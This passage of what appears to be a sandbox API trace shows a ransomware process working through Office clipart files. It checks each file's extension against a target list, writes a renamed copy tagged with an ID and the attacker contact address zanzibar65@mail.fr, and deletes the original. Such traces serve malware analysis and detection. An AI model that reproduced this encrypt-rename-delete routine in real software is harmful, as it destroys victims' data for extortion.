Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0054.926] lstrlenW (lpString=".zip") returned 4 [0054.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.926] lstrlenW (lpString=".rar") returned 4 [0054.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.926] lstrlenW (lpString=".bz2") returned 4 [0054.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.927] lstrlenW (lpString=".7z") returned 3 [0054.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0054.927] lstrlenW (lpString=".dbf") returned 4 [0054.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0054.927] lstrlenW (lpString=".1cd") returned 4 [0054.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0054.927] lstrlenW (lpString=".jpg") returned 4 [0054.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.927] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.927] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.942] GetLastError () returned 0x0 [0054.942] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x504a, lpOverlapped=0x0) returned 1 [0054.969] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x5050, lpOverlapped=0x0) returned 1 [0054.970] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.970] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.970] SetEndOfFile (hFile=0x204) returned 1 [0054.970] CloseHandle (hObject=0x204) returned 1 [0054.971] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.971] SetEndOfFile (hFile=0x228) returned 1 [0054.971] CloseHandle (hObject=0x228) returned 1 [0054.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0054.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0054.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0054.972] lstrlenW (lpString=".doc") returned 4 [0054.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.972] lstrlenW (lpString=".docx") returned 5 [0054.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.972] lstrlenW (lpString=".pdf") returned 4 [0054.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.972] lstrlenW (lpString=".xls") returned 4 [0054.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.972] lstrlenW (lpString=".xlsx") returned 5 [0054.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.972] lstrlenW (lpString=".ppt") returned 4 [0054.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0054.972] lstrlenW (lpString=".zip") returned 4 [0054.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.972] lstrlenW (lpString=".rar") returned 4 [0054.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.973] lstrlenW (lpString=".bz2") returned 4 [0054.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.973] lstrlenW (lpString=".7z") returned 3 [0054.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0054.973] lstrlenW (lpString=".dbf") returned 4 [0054.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0054.973] lstrlenW (lpString=".1cd") returned 4 [0054.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0054.973] lstrlenW (lpString=".jpg") returned 4 [0054.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.973] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.973] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.974] GetLastError () returned 0x0 [0054.974] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x25ee, lpOverlapped=0x0) returned 1 [0054.975] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0054.976] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.976] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.976] SetEndOfFile (hFile=0x204) returned 1 [0054.976] CloseHandle (hObject=0x204) returned 1 [0054.977] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.977] SetEndOfFile (hFile=0x228) returned 1 [0054.977] CloseHandle (hObject=0x228) returned 1 [0054.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0054.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.978] lstrlenW (lpString=".doc") returned 4 [0054.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.978] lstrlenW (lpString=".docx") returned 5 [0054.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.978] lstrlenW (lpString=".pdf") returned 4 [0054.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.978] lstrlenW (lpString=".xls") returned 4 [0054.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.978] lstrlenW (lpString=".xlsx") returned 5 [0054.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.978] lstrlenW (lpString=".ppt") returned 4 [0054.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.978] lstrlenW (lpString=".zip") returned 4 [0054.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.978] lstrlenW (lpString=".rar") returned 4 [0054.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.978] lstrlenW (lpString=".bz2") returned 4 [0054.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.979] lstrlenW (lpString=".7z") returned 3 [0054.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.979] lstrlenW (lpString=".dbf") returned 4 [0054.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.979] lstrlenW (lpString=".1cd") returned 4 [0054.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.979] lstrlenW (lpString=".jpg") returned 4 [0054.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.979] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.979] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.979] GetLastError () returned 0x0 [0054.980] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x2244, lpOverlapped=0x0) returned 1 [0054.981] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x2250, lpOverlapped=0x0) returned 1 [0054.982] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.982] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.982] SetEndOfFile (hFile=0x204) returned 1 [0054.982] CloseHandle (hObject=0x204) returned 1 [0054.982] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.982] SetEndOfFile (hFile=0x228) returned 1 [0054.983] CloseHandle (hObject=0x228) returned 1 [0054.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0054.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0054.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0054.984] lstrlenW (lpString=".doc") returned 4 [0054.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.984] lstrlenW (lpString=".docx") returned 5 [0054.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.984] lstrlenW (lpString=".pdf") returned 4 [0054.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.984] lstrlenW (lpString=".xls") returned 4 [0054.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.984] lstrlenW (lpString=".xlsx") returned 5 [0054.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.984] lstrlenW (lpString=".ppt") returned 4 [0054.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0054.984] lstrlenW (lpString=".zip") returned 4 [0054.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.984] lstrlenW (lpString=".rar") returned 4 [0054.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.984] lstrlenW (lpString=".bz2") returned 4 [0054.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.984] lstrlenW (lpString=".7z") returned 3 [0054.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0054.985] lstrlenW (lpString=".dbf") returned 4 [0054.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0054.985] lstrlenW (lpString=".1cd") returned 4 [0054.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0054.985] lstrlenW (lpString=".jpg") returned 4 [0054.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.987] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.987] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.987] GetLastError () returned 0x0 [0054.987] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x3896, lpOverlapped=0x0) returned 1 [0054.989] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0054.990] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.990] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.990] SetEndOfFile (hFile=0x204) returned 1 [0054.990] CloseHandle (hObject=0x204) returned 1 [0054.990] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.991] SetEndOfFile (hFile=0x228) returned 1 [0054.994] CloseHandle (hObject=0x228) returned 1 [0054.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0054.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0054.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0054.994] lstrlenW (lpString=".doc") returned 4 [0054.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.994] lstrlenW (lpString=".docx") returned 5 [0054.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.994] lstrlenW (lpString=".pdf") returned 4 [0054.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.994] lstrlenW (lpString=".xls") returned 4 [0054.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.994] lstrlenW (lpString=".xlsx") returned 5 [0054.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.994] lstrlenW (lpString=".ppt") returned 4 [0054.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0054.995] lstrlenW (lpString=".zip") returned 4 [0054.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.995] lstrlenW (lpString=".rar") returned 4 [0054.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.995] lstrlenW (lpString=".bz2") returned 4 [0054.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.995] lstrlenW (lpString=".7z") returned 3 [0054.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0054.995] lstrlenW (lpString=".dbf") returned 4 [0054.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0054.995] lstrlenW (lpString=".1cd") returned 4 [0054.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0054.995] lstrlenW (lpString=".jpg") returned 4 [0054.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.995] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.995] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.996] GetLastError () returned 0x0 [0054.996] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x4780, lpOverlapped=0x0) returned 1 [0055.269] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x4790, lpOverlapped=0x0) returned 1 [0055.270] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0055.270] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.270] SetEndOfFile (hFile=0x204) returned 1 [0056.351] CloseHandle (hObject=0x204) returned 1 [0056.717] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.717] SetEndOfFile (hFile=0x228) returned 1 [0056.717] CloseHandle (hObject=0x228) returned 1 [0056.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0056.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0056.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0056.718] lstrlenW (lpString=".doc") returned 4 [0056.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.718] lstrlenW (lpString=".docx") returned 5 [0056.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.718] lstrlenW (lpString=".pdf") returned 4 [0056.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.718] lstrlenW (lpString=".xls") returned 4 [0056.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.718] lstrlenW (lpString=".xlsx") returned 5 [0056.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.718] lstrlenW (lpString=".ppt") returned 4 [0056.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0056.718] lstrlenW (lpString=".zip") returned 4 [0056.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.719] lstrlenW (lpString=".rar") returned 4 [0056.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.719] lstrlenW (lpString=".bz2") returned 4 [0056.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.719] lstrlenW (lpString=".7z") returned 3 [0056.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0056.719] lstrlenW (lpString=".dbf") returned 4 [0056.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0056.719] lstrlenW (lpString=".1cd") returned 4 [0056.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0056.719] lstrlenW (lpString=".jpg") returned 4 [0056.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.719] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.719] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0056.720] GetLastError () returned 0x0 [0056.720] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xfb8, lpOverlapped=0x0) returned 1 [0056.721] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xfc0, 